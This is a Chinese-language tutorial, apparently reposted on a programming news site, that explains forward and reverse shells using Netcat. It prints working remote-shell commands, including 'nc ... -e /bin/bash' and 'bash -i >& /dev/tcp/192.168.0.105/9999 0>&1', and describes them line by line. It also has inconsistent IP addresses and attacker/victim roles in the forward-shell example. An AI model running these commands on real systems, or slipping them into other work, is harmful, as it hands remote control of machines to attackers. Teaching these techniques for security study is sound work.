网络安全之反弹Shell

网络安全之反弹Shell

在网络安全和渗透测试领域,“正向Shell”(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。
这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。
● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。
● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。
一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

nc -lvnp 9999

参数的含义:
● l 代表监听模式
● v 代表详细输出
● n 代表不解析主机名
● p 指定使用的端口

  • 攻击者机器主动连接受害者机器
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

● nc: 这是 Netcat 的命令行工具调用指令,用于启动 Netcat 程序
● 192.168.0.105: 这是受害者机器的 IP 地址,即 Netcat 尝试连接的远程计算机的地址。这个 IP 地址应该替换为实际想要连接的服务器或计算机的 IP 地址。
● 9999: 这是受害者机器上 Netcat 监听的端口号。在执行这个命令之前,受害者机器上应该有一个 Netcat 进程在此端口上监听进入的连接。
● -e /bin/bash: 这个选项是 Netcat 命令的一个参数,用于指定在建立连接后立即执行的程>序。/bin/bash 是一个 Shell,提供了一个命令行界面,允许用户执行各种命令。
● -e 参数告诉 Netcat,一旦连接建立,就执行指定的程序。这里指定的 /bin/bash 将会启动一个 bash shell。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。
● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。
● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。
● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

nc -lvvp 9999

● 受害者机器上再执行bash命令

bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

● bash -i:启动一个交互式的bash会话。-i参数使bash在交互模式下运行,允许用户输入命令。
● >&:这是重定向操作符,用于将标准输出(STDOUT)重定向到另一个位置。在这个命令中,它被用来将bash会话的输出重定向到网络连接上。
● /dev/tcp/192.168.0.105/9999:这是一个特殊的文件路径,利用bash的内置功能来创建TCP连接。/dev/tcp/<目标IP>/<目标端口>用于建立到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.0.105上的9999端口。
● 0>&1:这是另一个重定向操作符,用于将标准输入(STDIN)重定向到标准输出(STDOUT)。在这个上下文中,它的作用是确保从网络连接收到的输入(例如,攻击者发送的命令)被bash会话读取并执行。

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/809180.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第22题括号生成

题目&#xff1a; 题解&#xff1a; var res []stringfunc generateParenthesis(n int) []string {res make([]string, 0)dfs(n, 0, 0, "")return res }func dfs(n int, lc int, rc int, path string) {if lc n && rc n {res append(res, path)return }…

2024-Java-Maven学习笔记

Maven Maven是一个Java项目管理和构建工具&#xff0c;作用&#xff1a;定义&#xff08;规范&#xff09;项目结构、项目依赖、使用统一的方式自动化构建&#xff08;clean、compile&#xff09;。 提供了一套依赖管理机制&#xff1a;利用仓库统一管理jar包&#xff0c;利用…

阿里云(国内)安装nvm

更多文章&#xff0c;访问&#xff1a;阿里云&#xff08;国内&#xff09;安装nvm – 夜空中最亮的星 直接使用nvm脚本安装的时候一直失败&#xff0c;应该是国内网络的问题&#xff0c;使用下面方案进行解决&#xff1a; 下载 cd / wget https://github.com/nvm-sh/nvm/arch…

机器学习-09-图像处理01-理论

总结 本系列是机器学习课程的系列课程&#xff0c;主要介绍机器学习中图像处理技术。 参考 02图像知识 色彩基础知识整理-色相、饱和度、明度、色调 图像特征提取&#xff08;VGG和Resnet特征提取卷积过程详解&#xff09; Python图像处理入门 【人工智能】PythonOpenCV…

线程池-线程池分类

线程池分类 FixedThreadPool&#xff1a;固定大小线程池&#xff0c;线程数量固定&#xff0c;不会自动扩容或缩容。 CachedThreadPool&#xff1a;缓存线程池&#xff0c;线程数量不固定&#xff0c;根据需要自动扩容或缩容。适用于执行大量短时间任务的场景。 SingleThrea…

HttpClient、OKhttp、RestTemplate接口调用对比( Java HTTP 客户端)

文章目录 HttpClient、OKhttp、RestTemplate接口调用对比HttpClientOkHttprestTemplate HttpClient、OKhttp、RestTemplate接口调用对比 HttpClient、OkHttp 和 RestTemplate 是三种常用的 Java HTTP 客户端库&#xff0c;它们都可以用于发送 HTTP 请求和接收 HTTP 响应&#…

微服务学习(黑马)

学习黑马的微服务课程的笔记 导学 微服务架构 认识微服务 SpringCloud spring.io/projects/spring-cloud/ 服务拆分和远程调用 根据订单id查询订单功能 存在的问题 硬编码 eureka注册中心 搭建eureka 服务注册 在order-service中完成服务拉取 Ribbon负载均衡 Nacos注册中心…

水利自动化控制系统平台介绍

水利自动化控制系统平台介绍 在当今社会&#xff0c;水资源的管理和保护日益成为全球关注的重要议题。随着科技的进步和信息化的发展&#xff0c;水利监测系统作为一种集成了现代信息技术、自动化控制技术以及环境监测技术的综合性平台&#xff0c;正在逐步改变传统的水利管理模…

快照技术的基本介绍

目录 一、概述 二、名词解释 三、镜像分离 四、COW 五、ROW 六、参考 一、概述 全球网络存储工业协会 SNIA&#xff08;Storage Networking Industry Association&#xff09;对快照&#xff08;Snapshot&#xff09;的定义是&#xff1a;关于指定数据集合的一个完全可用…

广佛站点导航助手小程序产品使用说明书

一、产品简介 广佛站点导航助手小程序是一款专为广佛地区用户设计的地铁导航工具。通过获取用户的实时位置信息&#xff0c;小程序能够迅速定位并展示离用户最近的三个地铁站点。用户可以通过本小程序轻松查找地铁站点&#xff0c;规划出行路线&#xff0c;提高出行效率。 二、…

【背】蓝桥杯大模板

蓝桥杯大模板 /* 头文件声明区 */ #include <STC15F2K60S2.H>//单片机寄存器专用头文件 #include <Init.h>//初始化底层驱动专用头文件 #include <Led.h>//Led底层驱动专用头文件 #include <Key.h>//按键底层驱动专用头文件 #include <Seg.h>//…

Win11 WSL2 install Ubuntu20.04 and Seismic Unix

Win11系统&#xff0c;先启用或关闭Windows功能&#xff0c;勾选“适用于Linux的Windows子系统”和“虚拟机平台”两项 设置wsl默认版本为wsl2&#xff0c;并更新 wsl --list --verbose # 查看安装版本及内容 wsl --set-default-version 2 # 设置wsl默认版本为wsl2 # 已安装…

Debian 安装 Docker

Debian 安装 Docker。 这是官方安装文档 Install Docker Engine on Debian | Docker DocsLearn how to install Docker Engine on Debian. These instructions cover the different installation methods, how to uninstall, and next steps.https://docs.docker.com/engine/i…

我的 Lisp 学习历程:从新手到熟练掌握

Lisp&#xff0c;作为一种功能强大且具有独特思维方式的编程语言&#xff0c;一直以来都吸引着我。在我的编程之旅中&#xff0c;我决定深入学习 Lisp&#xff0c;并在这个过程中经历了许多挑战和成长。本文将分享我在 Lisp 学习过程中的心路历程。 第一次接触 Lisp&#xff0…

计算机网络——抓取icmp包

前言 本博客是博主用于记录计算机网络实验的博客&#xff0c;如果疏忽出现错误&#xff0c;还望各位指正。 抓包 我们是用Wireshark工具来进行抓包的。 ​在安装时候一路打勾安装即可&#xff0c;不过最后那个因为是英文&#xff0c;一定要看清&#xff0c;点了立即重启&am…

mars3d.MaterialType.Image2修改配置面状:图片2的speed数值实现动画效果说明

摘要&#xff1a; mars3d.MaterialType.Image2修改配置面状&#xff1a;图片2的speed数值实现动画效果说明 前提&#xff1a; 1.在示例中&#xff0c;尝试给mars3d.MaterialType.Image2材质的图片加上speed参数&#xff0c;实现动画效果&#xff0c;但是没有看到流动效果说明…

去掉el-date-picker弹窗默认回显当前月份的方法

打开日期弹窗&#xff0c;默认会显示当前月份&#xff0c;如图 会发现加了穿透&#xff1a;&#xff1a;v-deep 样式也不生效 .el-month-table .today .cell {color: pink&#xff1b;font-weight: 400;}要让 popper-class“xclass” :append-to-body“false” 这俩配合着使用…

界面设计【1】-项目的UI设计css

引言&#xff1a; 本篇博客对简单的css html界面设计做了简要介绍 这篇博客主要就是介绍了做横向项目中&#xff0c;CSS界面设计与优化。 界面设计【1】-项目的UI设计css 1. 什么是css?2. css编程demo3. 可视化效果 1. 什么是css? CSS是层叠样式表&#xff08;Cascading S…

每日一题 — 将 x 减到 0 的最小操作数

思路&#xff1a; 题目要求是让我们从数组的最左端和最右端进行操作&#xff0c;这样的话解题的难度大大提升&#xff0c;我们可以用 正难则反 的思想&#xff1a; 题目中要求是减去数组中的数刚好等于X&#xff0c;我们可以转换成 数组中某一段的和等于 数组的总长减去X(sum -…

Godot插值、贝塞尔曲线和Astar寻路

一、插值 线性插值是采用一次多项式上进行的插值计算&#xff0c;任意给定两个值A和B&#xff0c;那么在A和B之间的任意值可以定义为&#xff1a;P(t) A * (1 - t) B * t&#xff0c;0 < t < 1。 数学中用于线性拟合&#xff0c;游戏应用可以做出跟随效果&#xff08;…